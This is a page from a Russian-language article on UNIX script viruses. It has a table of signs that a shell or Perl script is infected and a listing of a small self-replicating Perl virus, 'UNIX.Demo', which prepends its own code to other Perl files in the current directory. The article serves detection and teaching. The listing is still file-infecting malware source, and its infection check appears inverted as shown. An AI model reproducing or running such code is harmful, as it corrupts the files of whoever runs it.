Вирусы в UNIX, или Гибель Титаника II


Вирусы в скриптах - часть 7


 

признак

комментарий

#!/bin/sh

"\#\!\/usr\/bin\/perl"

если расположена в не первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#!" находится внутри оператора if?then или же передается командам greep и/или find;

greep

используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в "честных" программах;

find

$0

характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?);

head

используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта;

tail

используется для извлечения своего тела из конца файла-носителя;

chmod

+x

если применяется к динамически создаваемому файлу, с высокой степень вероятности свидетельствует о наличии вируса (причем ключ +x может быть так или иначе замаскирован);

<< 

если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе)

"\xAA\xBB\xCC…"

характерный признак зашифрованного вируса

"Aj#9KlRzS"

vir, virus, virii, infect…

характерный признак вируса, хотя может быть и просто шуткой

Таблица 1 сводная таблица наиболее характерных признаков наличия вируса с краткими комментариями (подробности по тексту)

 

#!/usr/bin/perl

#PerlDemo

 

open(File,$0);

@Virus=<File>;

@Virus=@Virus[0...27];

close(File);

 

foreach $FileName (<*>)

{

       if ((-r $FileName) && (-w $FileName) && (-f $FileName))

       {

              open(File, "$FileName");

              @Temp=<File>;

              close(File);

              if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

              {

                     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))

                     {

                           open(File, ">$FileName");

                           print File @Virus;

                           print File @Temp;

                           close (File);

                     }

              }

       }

}

Листинг 4 фрагмент Perl-вируса UNIX.Demo




- Начало -  - Назад -  - Вперед -



Книжный магазин